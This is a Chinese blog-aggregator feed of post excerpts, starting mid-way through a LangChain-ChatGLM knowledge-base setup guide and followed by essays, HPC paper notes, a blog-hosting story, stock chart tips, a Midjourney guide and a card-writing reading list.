# print the completion
print(completion.choices[0].message.content)甚至可以直接以api的方式接入到其他的平台中，完成度很高。
知识库文件
知识库文件是langchain类方案中比较重要的一环，所有的问题会先进入知识库中搜索结果然后再作为上下文，知识库文件的数据量会直接影响到这类应用的结果有效度。而现在比较常见的相似度检测用的都是faiss，构建向量数据库用于数据比对。
知识库数据 FAISS向量 中文维基百科截止4月份数据，45万 链接：https://pan.baidu.com/s/1VQeA_dq92fxKOtLL3u3Zpg?pwd=l3pn 提取码：l3pn 截止去年九月的130w条中文维基百科处理结果和对应faiss向量文件 链接：https://pan.baidu.com/s/1Yls_Qtg15W1gneNuFP9O_w?pwd=exij 提取码：exij 💹 大规模金融研报知识图谱 链接：https://pan.baidu.com/s/1FcIH5Fi3EfpS346DnDu51Q?pwd=ujjv 提取码：ujjv 相应的现在很多应用还内置了用于测试知识库的接口，比如langchain-ChatGLM
通过微调知识相关度的阈值，可以让回答消息更有效。你甚至可以直接在平台新建知识库并录入数据。
langchain
langchain是现在成熟度比较高的一套Aigc应用，现在比较主流的一种知识库检索方案，用的是曾经的文章中提到过的基于上下文的训练方案，用户输出会先进入数据库检索，然后找出最匹配问题的部分结果然后和问题一起加入到prompt的上下文中，最终由LLM生成最终的回答。
这个方案是目前最经典的知识库型训练方案，最有效的解决了大模型本身训练的难度和反馈结果的有效度难以兼容的问题。
建立在langchain的思想上，其实衍生了非常多比较有意思的项目，一方面引用了包括ChatGLM-6B等各种开源的大模型，也用了开源的embedding方案来处理文本。
另一方面呢也做了比较成熟的vue前端+知识库，可以快速的拼凑出可用的chat ai。
- https://github.com/imClumsyPanda/langchain-ChatGLM
- https://github.com/yanqiangmiffy/Chinese-LangChain#
langchain-ChatGLM
langchain-ChatGLM是诸多langchain方案中中文支持实现的比较好的一个，过程包括加载文件 -> 读取文本 -> 文本分割 -> 文本向量化 -> 问句向量化 -> 在文本向量中匹配出与问句向量最相似的**top k个 -> 匹配出的文本作为上下文和问题一起添加到prompt中 -> 提交给LLM**生成回答。
整个项目中的每个部分都可以一定程度的自由组合，Embedding 默认选用的是 GanymedeNil/text2vec-large-chinese，LLM 默认选用的是 ChatGLM-6B。或者也可以通过fastchat来接入。
配置完成并安装好环境之后，就可以运行，首次运行会下载对应的大模型。
当然，这个模型实在是太大了，命令行下载的时候非常容易出问题，所以可以参考ChatGLM-6B的方案，自己下载模型然后再加载。
比较靠谱的就是先下模型实现，然后再单独下载模型并覆盖所有的文件
1
GIT_LFS_SKIP_SMUDGE=1 git clone https://huggingface.co/THUDM/chatglm-6b
然后需要修改对应的配置文件中模型的位置，在configs/model_config.py
默认的知识库文件路径是
1
knowledge_base\samples
如果想用自用的本地知识文件，放在对应目录的knowledge_base即可。现在的知识库文件会遍历目录下的文件，所以指定目录即可。
1
python cli_demo.py
1
python3.10 .\webui.py
- 博客 笨方法学写作 2023-07-18 08:00:00
很多人以为一个人的重大惊奇改变，往往需要某个惊天转折事情的刺激，而我恰恰相反。
我不会谈某事某人某地对我的重大意义，事实上，可能真的有某一件事对我的个人智力与心态产生了影响。
我的多数重大改变或决策，只在某个平平无奇日复一日的清晨或下午。
我照常坐在一个普通小县城的 14 层 10 平米房间中，飘窗一档风扇吹来轻微的风，左边北方的窗户偶尔传来墙壁打孔的声音，还有零星的汽车喇叭声。
多数时候，没有人跟我说话，我就会站起来，看看窗外的学校、密集的房子、远处起伏的山脉，天空云气翻滚变幻，然后跑去阳台收个衣服，或者去厨房搞杯茶喝。
这十几年来，我的钱包一直刻有四个字——知行合一。因为知道难以做到，所以想时时提醒自己，但没有想到移动支付的普及，能用到钱包的机会越来越少，而需要知行合一的事情越来越多。
三五分钟能完成的事情，我倾向当下完成，难的是不能当下完成的事情，它们会持续盘旋在我大脑领空，我只能将它们逐一写在卡片上，然后假以时日完成，问题就在于这个等待或待定，会让事情发生微妙的变化。
有的事情像水滴，持续浮在空中，便觉得也不那么重要而灰飞烟灭，有的事情会持续酝酿，就像种下一棵种子，迟早某天生根发芽。
一个想法生根发芽，多数情况下默默无闻，但终将拱破大脑皮层，让我有触发之感的那一刻，并非一定要令人刻骨铭心。
就如我上述，只发生在某个平淡无奇的清晨或下午而已，触发的场景，可能是我读到某段字句，可能是我听到了半句歌词，可能是我看到一张图片，表面毫无波澜，但内心似乎闪电翻滚，便觉得时机成熟，冥冥运命使然，决意去做，无须大吼一声，也不需向全世界宣布。
于是第二天，我有可能忽然变了个人，去做了一些不可思议的事情，不必惊慌，那只是我实验思维的实践，那只是日常生活的积极尝试，
等到外人目睹你的惊奇改变，你的内心早已平淡无奇。
- 博客 二丫讲梵 2023-07-16 05:18:24如要阅读全文，点击标题跳转。k8s删除namespace之后状态一直为Terminating
- 博客 二丫讲梵 2023-07-16 05:17:56如要阅读全文，点击标题跳转。k8s集群接入了kubegems之后删除namespace报错kubegems-local-controller-webhook not found
- 博客 Amicoyuan的高性能计算世界 2023-07-15 18:02:00
论文阅读：SUMMA：Scalable Universal Matrix Multiplication Algorithm
论文链接
SUMMA: Scalable Universal Matrix Multiplication Algorithm | Guide books (acm.org)
文章总结
- 博客 二丫讲梵 2023-07-14 17:28:27如要阅读全文，点击标题跳转。学习周刊-总第115期-开源免费的Markdown语法简历工具
- 博客 DIYGod - 写代码是热爱，写到世界充满爱! 2023-07-13 02:31:13衰退无处不在，这是很正常的现象。人们自然而然地更倾向于短平快的消费方式。然而，我一直无法忍受的一种奇怪趋势是，在一些地方，人们将 RSS 抛弃，转而使用 Newsletter。 本质上，电子邮件是一种私密的双向通信机制，而 RSS 是一种开放的单向通信机制…
- 博客 Amicoyuan的高性能计算世界 2023-07-12 05:47:00
论文阅读：Towards Efficient SpMV on Sunway Manycore Architectures
文章链接：
文章总结
dual-side multi-level partitioning technique
三层分块：Block->Tile->Slice
其中在Tile这一层会有空Tile块，不需要计算
其中Slice这一层也会有空Slice切片，不需要计算
最底层Slice切片是我们的计算核心
多级队列：负载均衡—>The work sharing mechanism in the block and slice queuesguarantee the workload balance across fleets and cores.
映射细节：
计算核心处理逻辑
一行8个核心：7个计算核心，1个I/O核心
计算核心负责SPMV计算
I/O核心负责将结果写回内存
多个slice组合—>batch，方便DMA，并进行数据预取(单位batch)，注意计算核心slice依然没有改变
利用向量寄存器，巧妙搭载msg
I/O核心的处理逻辑
整个block计算完才写回，避免反复访存
向量计算器meg->reduce
利用神威RMA
- 博客 maxOS 2023-07-11 22:29:14我并不担心人工智能未来可能会取代人类的工作，我认为这正是科技进步的目标，科技的目标正是不断的帮助人类拓展能力的边界。人类的社会总是会不断地出现新的问题，这些问题需要新的解答，在人工智能取代人类的部份工作之后我们总会遇到新的问题，人类的工作也从解决旧的问题转向应对新的挑战。这个过程可能并不总是顺利，但其进程却无法被阻挡。
- 博客 Jiajun的编程随想 2023-07-09 08:00:00《读《格鲁夫给经理人的第一课》》> 本文是我自己的改编以及摘抄## 生产...
- 博客 二丫讲梵 2023-07-09 00:56:07如要阅读全文，点击标题跳转。我们的运维团队汇聚了一群优秀的，富有想法的年轻人。每次周会里边，当我们完成了各自日常工作的交流沟通之后，总是会跳出当下，天南海北，胡言乱语地头脑风暴一番。在这些看似 闲笔 的沟通当中，我们进行了大量的运维规范以及最佳实践的讨论，而当我们进行地讨论越多，越能够发现一个问题，无论是对于一个全流程(指一个项目的整个生命周期)命名的规范约束落地，还是对发布平台以应用维度的主机列表维护，都步步绕不开一个能够真正解决运维痛点的 CMDB 平台。注意，这里在 CMDB 这个名词的前边加了一个定语，真正解决运维痛点。事实上在这之前，我们并非没有做过 CMDB 平台的建设，只不过由于我们以往对这一概念的认知不足，完全交由运维开发同学，按他的一些经验想法开发出来的 CMDB，却总是难以真正在实际运维生产当中落地，简而言之就是，CMDB 平台做过，但都失败了。
- 博客 二丫讲梵 2023-07-07 17:10:16如要阅读全文，点击标题跳转。学习周刊-总第114期-一款个人和中小型团队的在线文档知识库系统
- 博客 Jiajun的编程随想 2023-07-06 08:00:00《读《打开心智》》我们生活在现实世界里，总是会遇到各种事情，让人烦恼让人忧愁，当然也有开心和惊喜。我们的心智模型决定了我们遇到一件事情的反应和处理方式...
- 博客 Amicoyuan的高性能计算世界 2023-07-04 05:56:00
稀疏矩阵向量乘法在申威众核架构上的性能优化
文章链接：
稀疏矩阵向量乘法在申威众核架构上的性能优化 - 中国知网 (cnki.net)
文章总结
固定划分方法
- 所有计算完再写回
- 子矩阵(任务)->子矩阵小块(核心计算)
- 将子矩阵小块中的非零元存储在一起，以适应申威处理器上的DMA操作。(Packing)
- 核心：寄存器通信->RMA
- 根据LDM大小提前计算，充分利用LDM空间，换句话说就是保证计算所需都在LDM中
- 加载冗余X，避免DMA隔断
一维负载均衡划分方法
- 尽量使从核处理非零元数量相当
- 4个层次：原矩阵->矩阵带->子矩阵->小块
- 交替分配矩阵带给从核行
- 核心计算依然是子矩阵小块，同固定划分方法
二维负载均衡划分方法
- 矩阵带分配采取贪心的方法，尽可能保证不同行之间的负载均衡
- 解决一维负载均衡方法带来的细粒度同步问题
- 非零元过少的矩阵带，交给一个从核完成，而不再均分给同行上的几个从核
- 一维和二维主要解决预处理，计算还是固定划分中的子矩阵小块
- 排序->根据矩阵带非零元数量从大到小排序(逻辑排序)
- Select函数会在所有ROWS行的从核中，选择出目前非零元数量最少的一行，并将当前的矩阵带i分配给它
1
2
3
4
5
6
7
8输入：tiles,nnz_tile，ROWS
输出：set
nnz_set<-0
for i = 0 to tiles - 1 do
Select id if nnz_set[id] is minimal //注意：这里是选从核行，不是矩阵带
nnz_set[id] += nnz_tiles[i]
set[id] = set[id]U{i} //任务分配
end for这里注意，我们在固定划分那里解决了数据局部性差等问题，之后的一二维划分，都是在做任务分配，核心计算子矩阵小块一直未改变
- 博客 Randy's Blog 2023-07-03 08:00:00683
- 博客 二丫讲梵 2023-07-03 07:13:40如要阅读全文，点击标题跳转。如题
- 博客 二丫讲梵 2023-07-03 07:10:32如要阅读全文，点击标题跳转。大约在 12-15 年，我也曾是传统文化的狂热痴迷者，彼时一直跟随陈大惠老师的视频学习，整个人在这个飞速前进的时代，修炼出了一颗向内求的心，这些学习并修炼来的品性，都为我后来工作中所能取得的成绩做了注解。
- 博客 二丫讲梵 2023-06-30 17:36:52如要阅读全文，点击标题跳转。学习周刊-总第113期-一款开源免费的WAF
- 博客 王登科-DK博客 2023-06-29 16:44:08这个博客是我大学时候开始做的，最早是 2013 年，我注册了 wdk.pw 这个域名，然后用当时流行的办法，找了一个「免费托管主机」，然后部署了 wordpress，写下了我的第一篇博客文章
谁想到这一写就是 10 年，现在已经是 2023 年了。
在最初的几个月后，我发现那个免费托管的空间变得十分不靠谱，会自动在我的博客中插入广告，并且时不时还会无法访问，即便那时候我只是一名大二学生，也开始意识到，任何事情都有代价，当我没有为一个服务直接付费的时候，就会从别的地方付出代价，所以我开始准备迁移。
因为那时候我不会也不想备案，所以只能考虑国外的服务器，在 10年前，并没有像现在这么多的部署方案或服务，基本上只有两个选择，要么买云服务器，要么用一种叫做云空间或者云主机的东西，后者是一个包含了代码运行环境，ftp，mysql等基本组件，以及一个网页管理后台的打包服务。一台物理服务器拆分成多个云服务器，一个云服务器拆分成多个云空间，大体上应该是这么个逻辑。
在机缘巧合下，我选择了后来使用了长达 9 年的一家云空间，叫做云左主机，我在上面购买了一个 98 元一年的云主机，物理位置位于韩国，每月有50G流量，机器的配置是1核2G，但应该由若干个云空间共享，即便如此，对于一个简单的 wordpress 来说，这个配置跑起来也绰绰有余。
我用了一个叫做 WP Clone 的插件，将我的博客完整的迁移到了这个新家，然后每年续费，直到今年。
在写了大概一年博客后，我发现pw后缀的域名，搜索引擎基本不收录，而且有大量pw后缀的垃圾站，所以我注册了新的域名，也就是现在的这个 greatdk.com，并一直沿用。
我的博客一直访问量不大，但偶尔（发生过几次）会有比较多人来看，这时候网站就会挂掉，因为背后的服务器配置太低了，我想过一些解决办法，例如使用一个叫做 WP Super Cache 的插件，来实现一些缓存，有一些效果，但依然还是会挂。
对于浏览博客而言，其实大多数请求都对应的是静态资源，但在比较高并发的情况下，整个服务器都会被这些静态请求给堵住，放到现在来看其实这有很多方案，但当时我确实没啥办法。
直到2018年，或者2019年，我记不清了，我了解到 CloudFlare，然后开始使用它，我的感觉是
太尼玛强了，CloudFlare 牛逼
CF 不仅帮我解决了缓存的问题，而且可以自动配置和更新 SSL 证书，在最外层套了 CF 之后，我的博客就再也没有因为请求或访问增加而出过问题，而且这些服务都是免费的，或者说免费版本已经完全能满足我的需求了。
然后直到前几天，我发现我的博客又挂了，从状态页来看，肯定不是 CF 的问题，而是源站挂了，我排查了一下，发现确实是那个云主机的域名问题，然后和管理员联系了，他告诉我，因为一些无法透露的原因，没法修复，只能帮我导出数据，然后给我退款。
我又和他聊了两句，他说整个业务都准备关了，虽然没说原因，但大概也能猜到。
无奈之下，我只能重新为博客搬家，因为备案的缘故，我依然无法使用国内的服务器，我最终用了腾讯云的轻量级服务器，新加坡节点。
但实际部署的时候我才发现有些历史遗留的坑，例如我的博客版本已经很老了，是PHP5.6，较新的Linux发行版，都不再支持这个PHP版本了，用网上的一些安装方式，也根本装不上PHP5.6，后来还是通过宝塔面板（虽然这个面板设计的极其恶心），才装上了可用的PHP版本，然后将博客恢复。
然后我又立马套上了CF，经过CF代理，速度很快，从这一点看，因为有了CF，源站在哪也就没那么重要了。
在做完这一切后，我移除了博客底部的「托管在云左主机」的小字，对这个博客而言，它开始了新的生活。 - 博客 轶哥博客 2023-06-28 00:25:45<>专业显卡在生产力应用领域不仅仅用于AI模型训练及推理，也用于空气动力学仿真、科学计算和数据分析。某些情况下塔式工作站是很多专业用户的最佳选择。
为什么选择消费级平台？
<>使用云服务获得专业显卡的计算能力是非常方便的，但受限于光速，使用非同一个城市的机房会有较大的延迟，部分专业应用对延迟要求很高，也不得不使用物理机搭配专业显卡。<>博主在近几年一直在做垂直领域的人工智能，由于服务于政府客户，对数据安全的要求比较高，因此选择自建塔式工作站放置于工作室来进行模型调试，使用雷电4接口能够快速传输大量数据。在生产部署阶段自然也会部署于服务器机房，实现合理分工。<>在服务器中使用A800/A100专业显卡非常简单，插上去就完事。但是机架服务器动辄万转的风扇产生巨大的噪音使得无法放置在普通办公室使用。<>不同的人对专业应用的要求是不一样的，就像有的人明知游戏卡某些计算精度性能和专业卡有区别，内存带宽和多卡互联能力也有很大差距，但是他就是要用多张4090游戏卡来进行AI炼丹一样，他们既不使用专业软件，也不要求更高的数据吞吐能力，因此出于对成本、环境、安全性以及各方面的考虑，就是有用户希望使用普通电脑安装使用专业显卡。博主实测4090比绝大部分专业卡做AI绘图速度更快，因此4090在这个场景下就是具有性价比。总之，希望大家以包容的心态看待这个问题。<>家用级别的设备稳定性是远不如企业级设备的，博主也只会在开发环境下使用消费级平台，不要试图将工作站直接放进机柜部署，否则就是给自己找事情做。 - 博客 小胡子哥的个人网站 2023-06-26 13:02:00本博客从 2013 年开始，基本上每年都会输出一点东西，就这么写着写着，写了十年，最近两年在推特上活跃多一些，长内容就写的很少了。还写博客么？我最近也在思考这个问题。
- 博客 二丫讲梵 2023-06-23 23:21:09如要阅读全文，点击标题跳转。学习周刊-总第112期-两个开源的智能表格系统与一个多云管理平台
- 博客 forecho 的独立博客 2023-06-23 10:47:00
引言
今天主要是给大家分享一下我在股票投资中的一个小技巧，这个技巧可以帮助你从 K 线图上抓住股票的起涨点，从而提高你的投资收益。
股票的起涨暗号
完美底部
完美底部，长期盘整，2 个月以上。
均线多头排列
- 3 条或者 4 条均线多头排列，完成多头排列向上。
- 短的均线一定要在长的均线之上。
- 均线分别看 5、10、20、60 日均线。
长红 K 起涨爆量
- 起涨的位置暴量长的红 K 上涨，量比 2 倍以上。
- KD 黄金交叉 或者多头排列。
KD 指标背离
这里的背离是指 KD 指标跟股价的趋势相反，股价在横盘，但是 KD 指标在上升，这种情况可以买入。
头头高底底高
- 头头高是指股价的 K 线图上，股价的高点是逐渐上升的。
- 底底高是指股价的 K 线图上，股价的低点是逐渐上升的。
不要追的信号
第三波行情
第三波行情的起涨可以追，但是如果已经涨了 3 天以上就不要追了，比较危险。第三波跌破 MA5 就卖，而且第三波只能做短线。
高位爆量
不管第几波行情，底部爆量可以追，但是高位爆量不要追，比较危险。这里的爆量是指量比 2 倍以上。
月线没有多头排列
底部 MA20 均线没有多头排列，并且股价低于 MA20 的不要买。
最后
起涨点没抓住不要冲进去了，等第二波，第二波通常会比第一波更大，起涨的特点跟第一波一样。另外冲进去的话：
- 一定要设置好止损，最好不要让自己的亏损超过 5%
- 起涨点一定是红 K，不能是高开低走
- 暴涨上涨也一定是红 K，并且不能是高位爆量，股价要在低位爆量才安全
- 股价低于 MA60 的不要买，保守一点的话，股价低于 MA20 的就不要买了
- 博客 二丫讲梵 2023-06-22 23:32:15如要阅读全文，点击标题跳转。一个分析腾讯云CLS日志费用预估的项目和一个命令行工具框架
- 博客 二丫讲梵 2023-06-22 23:27:29如要阅读全文，点击标题跳转。企业微信创建应用配置回调的步骤记录，golang版本。
- 博客 LoRexxar's Blog 2023-06-21 17:27:49
之前的几篇关于AI生成图片的文章讲的都是stable diffusion，虽然SD出现的更早而且开源免费，但其实在设计圈使用更广泛的是Midjourney，Midjourney最大的优点就是使用的便利性，任何一个不懂技术的设计都可以通Midjourney来快速完成设计，而且Midjourney的底层基础模型成熟度相当高，生成的图质量都很高。
快速入门
注册Discord并授权使用Midjourney的bot
现在的Midjourney已经正式转为收费版本了，价格还是比较便宜的，最便宜的版本一个月60多块也还算能接受。
订阅完成之后就可以加入Midjourney的频道，在左边可以选择newbie或者general的频道进去
你可以直接在这个频道里使用，当然，这个频道里消息非常多，刷的很快，也有一个办法是你可以在自己的私人频道使用这个bot。首先你需要有一个你拥有管理权限的频道，然后在Midjourney中找到这个bot并把它添加到自己的服务器中。
然后就可以正常的使用命令了。
最常用的命令就是/imagine，输入命令会直接引导格式让你输入对应的prompt，但很可惜的是Midjourney本体对中文的支持并不是很好，生成结束之后就会弹出结果。
下面的几个选项对应的是上面图的进一步发展方向
其中U是选定并放大其中的一张图，V是选定一张图在这个图的结构上进一步生成，如果都不满意还可以重新生成一次。
假设我们选择U1之后，他会获得一个放大版本的更多细节的图。
之后如果你还想进一步生成，还可以点选Make Variations来继续生成之前的4格图继续风格的演变和生成。
进阶配置
Midjourney的基础用法就是用imagine配合基础的文字描述来生成图片
但事实上，Midjourney还有很多进阶选项
首先你可以通过传入图片链接来使用图生图功能。除此之外，还有一些参数可以提供。
- –aspect，–ar：修改生成图片的纵横比.
ps: –aspect 2:3
- –chaos <number 0–100>：改变结果的多样性，值越高变量越大
- –iw <0–2>：设置图片prompt和文字prompt的权重比例，默认值是1
- –no Negative prompting：否定提示词，比如说–no plants可以去除图里的植物
- –quality <.25, .5, or 1>：花费多少渲染质量时间，默认值是1
- –repeat <1–40>，–r <1–40>：重复多少次
- –seed <integer between 0–4294967295>：随机数种子
- –stop <integer between 10–100>：在中途停止生成
- –style
： 切换Midjourney的版本 - –stylize
，–s Midjourney美术风格的强度： - –tile：重复图块以生成更大的图
除此之外你也可以指定使用Midjourney不同版本的基础模型
- --niji：适用于动漫风格的基础模型
- –version <1, 2, 3, 4, or 5>：不同版本的Midjourney算法
继续拓展
在使用Midjourney的过程中，能最明显感觉到的是，Midjourney其实是通过大幅度简化来实现产品使用体验的大幅度提升，使用Midjourney你并不能像SD一样在很多地方影响图片的生成逻辑，拿生成赛博偶像的系列图举例子，你很难生成同样外形的多个系列图片。
而Midjourney这个工具其实更聚焦于设计师群体，重要的是你想要画一个什么东西出来，一个符合预期的prompt提示词，配合多轮的迭代式绘画改进，你基本上可以用Midjourney画出一个满意的东西。
而我觉得Midjourney除了超棒的交互式体验，最牛的就是底层关键词的解读逻辑有效度非常之高，而且基础模型的审美非常不错，你大概写一个描述词基本上都能得到一个质量非常高的图，这点是其他绘画ai都达不到的高度。
举个例子，a hacker before computer
如果是在文心一言，你就会得到这样一个图
这里你能很明显的感受到他们的区别，就是Midjourney生成结果质量非常之高，你还可以让他进一步生成，如果你觉得直接选择V变化太小了，你可以选择用大图来重新图生图。
比如这里我拿第二个图进行重新生成，加入赛博朋克风格
当然你可能没有什么想法，但你只是喜欢这个画风，那你可以通过chaos这个参数来增加多样性，当然这个值建议不要设置太大，否则基本和原图就关系不大了。
你可以在midjourney上轻而易举的获得你想要的任何改动，不用担心你的需求无法理解，Midjourney会不知疲倦的持续产出各种东西来。每次用这个东西的时候都能感觉到设计师的悲惨。
之前也曾经听过一个事情，设计师届曾大量的抱团反对ai绘画工具的诞生，用设计师设计的东西训练ai，最后反倒毁掉了设计师的工作，真是令人唏嘘。
在线部署Midjourney
前面说了很多关于Midjourney的使用问题，但对于国内来说Midjourney最大的问题就是discord是需要科学的。所以接下来介绍一个可以在国内部署的方案
你可以使用这个项目来部署一个Midjourney的代理，我觉得比较好用的是部署在Railway的版本，不需要用自己的服务器，这个网站提供免费的5美刀和每个月免费的500小时使用。
部署完成之后可以获得一个mid的链接
这个时候还只有api，你需要配合一个前端来完成，我选用了魔改版的ChatGPT-Midjourney
这个东西可以直接部署Vercel版本的，非常好弄，直接点击deploy就可以开始配置了
部署好了绑定域名就可以用了，很方便。
- 博客 Tmr Blog 2023-06-20 11:12:47695
- 博客 胡涂说 2023-06-18 11:11:11696
- 博客 二丫讲梵 2023-06-16 17:28:28如要阅读全文，点击标题跳转。学习周刊-总第111期-在线双拼练习与两个不错的测试压测管理平台
- 博客 笨方法学写作 2023-06-14 08:00:00
多数人用卡片来记笔记、整理信息、辅助记忆，但卡片更大的作用在于扩展内在学习和思考。
卡片实际上是一种知识管理和创意生成的工具，可以帮助整理思维、激发创意、建立知识框架等。
经过我的多年思考和实践，已经卡片应用到工作生活的每个环节，逐渐形成的一套适用于普通人的卡片创作系统。
为了让大家更科学地理解这个系统，我根据「卡片创作的100个关键词」，精挑细选我读过的100本书，重新整理成为「卡片创作的100本书」的书单，这些书从易到难，按照5个层级展开，层层递进。
1.卡片生产：工具与输出 2.卡片认知：原理与模式 3.卡片实践：流程与创作 4.卡片驱动：行为与改变 5.卡片产品：人生与世界
愿你速览卡片创作的成长路线，有章可循，循序渐进，科学精进。
豆瓣书单地址：https://www.douban.com/doulist/45064751/
1.卡片生产：工具与输出
千里之行，始于足下。这里的最基础20本书，呈现卡片创作的成果与方法与，涵盖部分生产力方法与卡片创作工具的介绍，还分享了创作者们的实践经验和成功案例。你将了解到不同领域的创作者如何运用卡片来构建和组织他们的作品。通过学习他们的方法和思路，你将获得启发，并找到适合自己的卡片创作方式。
偷师学艺
一本完全用卡片写成的书，共 150 页，图文并茂，你花 30 分钟就可以读完，每一页就像是一张卡片。有此书做样，每个人都可以用卡片写出第一本书。 P148 的图是此书废弃的卡片，遵从一卡一事的原则，大家可参考学习。
卡片笔记写作法
大牛从来不会拿他的创作工具来说事，卢曼正是如此，他以为自己这种使用古老纸质卡片来创作方法，与他本人创作成果对比，根本不值一提。但事后此书证明，卡片写作并不重要，以卡片作为思考媒介尤其重要。
智识的生产技术
写作并不限于天赋，它并不是天才的特权。梅棹忠夫认为，用卡片来写文章，就像庖丁解牛般分解出写文章的步骤，再如堆砌积木般按逻辑组合，写作就可变成技术，即使是技术，就可以习得，掌握方法，辅助练习，人人都可写出一手好文章。http://t.cn/RCfZnPm
Building a Second Brain
片越写越多，管理将成为问题。此书的最大优点在于，在宏观俯层面俯瞰，然后将项目管理知识融入到卡片创作中，使你在你卡片创作之初，以终为始，与其他相关卡片链接起来，以便更好地生产出作品。
劳拉的原型
你很少能见到大师使用卡片创作的未完成的文稿，这本书机缘巧合提供了一个范本。本书构成：手稿（卡片）复印+英文原文+中文译文。你将在此书看到纳博科夫使用卡片创作的小说大纲，目睹一部小说的诞生过程，一窥伟大作家的脑中想法生成及演变。
巴黎评论·作家访谈12345
这套书12345，都值得看。推荐1的纳博科夫访谈，其中详细谈到如何使用卡片写作。为什么要阅读作家访谈？同为写作者，我想知道伟大作家的写作原则，以此来形成我自己的写作原则《笨方法学写作》。大部分写作者是孤独的，不喜欢社交，阅读访谈估计是最高效且最低成本接触他们的的方式。
100个基本
松浦弥太郎日常思考写作的 100 张卡片合集，可以将其看作的松浦弥太郎工作、生活、读书、写作、社交的简短原则，卡片写作新手可将其当作卡片模板，积累自己要写的 100 张卡片。
漫画丰田生产方式
如果将卡片当做是创作生产的部件模块，如何才能高效生产？不妨参考工业生产中的翘楚——丰田生产方式TPS。小本小漫画，轻松知晓这个强大生产方式的秘密。这本书对我的启发超大，决意将TPS迁移到笨方法实验室的生产系统中。
餐巾纸系列123
这个餐巾纸系列有三本，可以快速看，一张纸+一支笔，一边画一边学习实操技巧，三四个小时就能学会卡片思考。相比其他电子工具例如思维导图等，纸质卡片随意可得的，可实现的效果是，将各种复杂的信息——无论是外显知识还是内隐知识，将封装简化成卡片，并保存在唯一的卡片库，并在需要的情况下调用出来，还能将这些信息重新组合，迸发出新的创意和想法。
一学就会的便笺笔记法
卡片思维模式会让你不执念于工具与技巧—— 你不用思考使用哪个写作工具更高效，是皮质手账好，梦想笔记本好，还是日课笔记本好？ 你也不用犹豫用哪种笔记方法更流行，是康奈尔笔记法，思维导图笔记法，还是空雨伞笔记法好？卡片创作涵盖工作、读书、生活、学习等领域，一旦掌握这种思维模式，就可结合实际情况，随心所欲变化使用。
子弹笔记
子弹笔记，也可以叫清单笔记，即是将以往单纯用笔记本记录的方式改成用清爽的清单笔记来记录。这个记录方式其实卡片创作的另一个形式呈现。版面更整洁、思路更清晰、做事更高效。
最有生产力的一年
每个人都值得给一段时间去做一场生产力实验，就像现在的我一样，高频率高密度地阅读实践，有所逼有所激，大量筛选，只留下适合自己的少量简单且科学的方法。
最重要的事情只有一件
卡片原则之一：一卡一事。从眼前的所有事情写在卡片上，然后挑出最重要的一件事情，然后将其余卡片都想办法归在一张卡片之下，如果不行，就归纳重写那张卡片，直至只剩下一张卡片。
高效能人士的七个习惯
每年我都会用卡片写四封信，第一封给老婆，第二封给儿子，第三封给自己，第四封给股东。通过不断写信，迫使我更新和回顾这些卡片，保持对自己的长期目标的关注，并制定相应的行动计划。
创作者的一天世界
每个创作者都有自己的运行节奏。松浦弥太郎上午创作，是因为他在上午精神状态好。艾柯把自己关起来，是想拥有大段大段的创造时间。海明威上午写作，是想趁无人打扰，一鼓作气把写作元气逼出。村上春树凌晨 4 点起床，写上五到六个小时，是因为早起精神好，写得那么久，刻意训练使然。
我的职业是小说家
很多人喜欢看村上的小说，而我喜欢看他的杂谈，例如《当我谈跑步时，我谈些什么》。因为我也喜欢在写课程写专栏的期间，散开思维去写点此刻浮现的创作谈，发现这才是真实的样子。我也以为，村上的这种创作观、阅读观甚至人生观，才是写作者应有的。
巨人的工具
这本书采访人数之多，涉及话题之广，看这本书就像是在逛一个生活经验惊喜杂货铺。 这个杂货铺囊括健康、财富、智慧，各种经验原汁原味，采访原文基本不做改动，就像是各种货物杂乱摆放一样，你可以先到处看看，然后探索发现你感兴趣的区域，再蹲下仔细钻研，钻研完站起来忽然又会发现此前没有发现的东西……
转向
卡片写作的科学原理是组块，这与工程师思维的核心——模块化系统思维，不谋而合。 模块化系统思维并不是一项单一的才能，而是技术与原则的融合。系统性思考不仅仅要做到有系统、有条理，它更需要你能理解在生活的起起落落中，没有什么事物是真正静止的，一切皆有关联。一个系统因其各个模块之间的关系而成为一个整体，这样的整体是不能通过单独分析各组成部分就能理解的。
编程人生
所有的符号，无论是音乐、文字、语言还是计算机语言，都是人创造出来的，这些符号是可以改变、可以选择的。在编程中认识到符号的魅力，并组合出优美有用的符号，这会增强你的写作认知能力。像黑客学习编程那样去学习写作，你会发现更高维度的写作。
黑客与画家
九年义务教育出来的你，以为写作需要文笔好，但写作更需要清晰逻辑。Paul Graham 与王小波完美呈现了这一点，他们会编程，同时能写出引人入胜的好文。此书在于给更多畏惧语文但想练好写作的人一份范本，完全可以将写作视作技术，是技术就有学习的路径。
2.卡片认知：原理与模式
知其然，至其所以然。这个层级书单涵盖认知科学、信息处理和思维模式方面的书籍，帮助你探索人类思维的运作方式、注意力管理、学习和记忆等方面的原理，深入了解人类思维的机制和局限，并学会应用这些原理来优化你的卡片创作和写作过程。
风格感觉
中文写作高手大都同意这个观点：从英文世界写作方法，从中文经典体会写作精妙。《风格感觉》三篇破解示范虽道理想通，但语言是英文，个中精妙无法完全察觉，当然可以阅读原版感受，但更建议在实践中参考平克的破解方法，再寻来中文经典私自再解读。精读指南
人工科学
你可能不会这本书中找到关于卡片创作的技巧，因为这本书根本不谈技巧，谈的是卡片创作的原理——组块。经不同估计方法得出，大师的长时记忆中存储着大约 50000 个熟悉组块，这些组块以局部检查的结构索引方式存在，使得大师成为大师。明白了组块，你就可以轻易理解理解式学习与死记硬背学习的差别，理解式学习是将几何知识作为定理储存，死记硬背是将几何知识作为数字和符号储存。理解式学习，组块储存，提取极其容易；死记硬背，零散无规律储存，提取就极其困难。注意，这本书看不懂就翻着看，没有必要看完，看懂你能看懂的就行。
人类的认知
高阶学习者在解决问题时，不用词语思考，而是用抽象的表征，或是图画或图表，但大部分是符号。司马贺认为：人是使用符号系统的动物，语言是符号、文字是符号、声音是符号、文化是符号……符号系统几乎是最完美的人工事物，人类所有事物都可以符号表征。语言符号系统总是我们用来表征我们所处环境、用来作为思维的最重要工具，是人类区别于其他动物的最本质特征之一。
认知科学揭秘
强烈向大家推荐这本 《认知科学揭秘》，理解了广义进化论，你对认知科学，甚至所有科学都有更深刻的理解。返观人工智能的发展，人类过多在计算机技术投入精力，虽点亮了一盏盏的路灯，却依然找不到丢失的钥匙，人类要造一把手电筒——认知科学来照亮前方。http://t.cn/R0zpQy0
有效学习
